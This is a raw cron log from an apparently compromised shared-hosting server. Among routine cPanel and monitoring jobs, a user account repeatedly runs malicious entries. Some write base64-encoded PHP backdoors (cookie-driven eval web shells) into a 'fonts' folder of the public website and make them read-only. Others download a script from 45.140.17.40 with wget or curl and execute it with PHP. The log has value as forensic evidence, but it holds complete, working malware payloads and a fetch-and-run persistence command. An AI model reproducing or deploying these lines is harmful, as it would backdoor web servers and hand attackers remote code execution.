Sep 11 18:26:01 ip-184-168-122-23 CROND[16712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:26:01 ip-184-168-122-23 CROND[16711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:26:01 ip-184-168-122-23 CROND[16714]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:26:01 ip-184-168-122-23 CROND[16715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:26:01 ip-184-168-122-23 CROND[16713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:27:01 ip-184-168-122-23 CROND[16822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:27:01 ip-184-168-122-23 CROND[16823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:27:01 ip-184-168-122-23 CROND[16824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:27:01 ip-184-168-122-23 CROND[16825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:28:01 ip-184-168-122-23 CROND[16983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:28:01 ip-184-168-122-23 CROND[16986]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:28:01 ip-184-168-122-23 CROND[16985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:28:01 ip-184-168-122-23 CROND[16988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:28:01 ip-184-168-122-23 CROND[16987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:29:01 ip-184-168-122-23 CROND[17089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:29:01 ip-184-168-122-23 CROND[17092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:29:01 ip-184-168-122-23 CROND[17093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:29:01 ip-184-168-122-23 CROND[17091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:30:01 ip-184-168-122-23 CROND[17207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:30:01 ip-184-168-122-23 CROND[17209]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 18:30:01 ip-184-168-122-23 CROND[17210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:30:01 ip-184-168-122-23 CROND[17211]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:30:01 ip-184-168-122-23 CROND[17214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:30:01 ip-184-168-122-23 CROND[17208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:30:01 ip-184-168-122-23 CROND[17213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:30:01 ip-184-168-122-23 CROND[17215]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:31:01 ip-184-168-122-23 CROND[17329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:31:01 ip-184-168-122-23 CROND[17331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:31:01 ip-184-168-122-23 CROND[17330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:31:01 ip-184-168-122-23 CROND[17332]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 18:31:01 ip-184-168-122-23 CROND[17333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:32:01 ip-184-168-122-23 CROND[17424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:32:01 ip-184-168-122-23 CROND[17425]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:32:01 ip-184-168-122-23 CROND[17427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:32:01 ip-184-168-122-23 CROND[17428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:32:01 ip-184-168-122-23 CROND[17429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:33:01 ip-184-168-122-23 CROND[17598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:33:01 ip-184-168-122-23 CROND[17600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:33:01 ip-184-168-122-23 CROND[17599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:33:01 ip-184-168-122-23 CROND[17602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:34:01 ip-184-168-122-23 CROND[17726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:34:01 ip-184-168-122-23 CROND[17727]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:34:01 ip-184-168-122-23 CROND[17728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:34:01 ip-184-168-122-23 CROND[17729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:34:01 ip-184-168-122-23 CROND[17730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:35:01 ip-184-168-122-23 CROND[17849]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 18:35:02 ip-184-168-122-23 CROND[17850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:35:02 ip-184-168-122-23 CROND[17853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:35:02 ip-184-168-122-23 CROND[17855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:35:02 ip-184-168-122-23 CROND[17858]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:35:02 ip-184-168-122-23 CROND[17856]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 18:35:02 ip-184-168-122-23 CROND[17860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:35:02 ip-184-168-122-23 CROND[17857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:36:01 ip-184-168-122-23 CROND[17955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:36:01 ip-184-168-122-23 CROND[17958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:36:01 ip-184-168-122-23 CROND[17959]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:36:01 ip-184-168-122-23 CROND[17957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:36:01 ip-184-168-122-23 CROND[17960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:37:01 ip-184-168-122-23 CROND[18051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:37:01 ip-184-168-122-23 CROND[18053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:37:01 ip-184-168-122-23 CROND[18054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:37:01 ip-184-168-122-23 CROND[18055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:38:01 ip-184-168-122-23 CROND[18238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
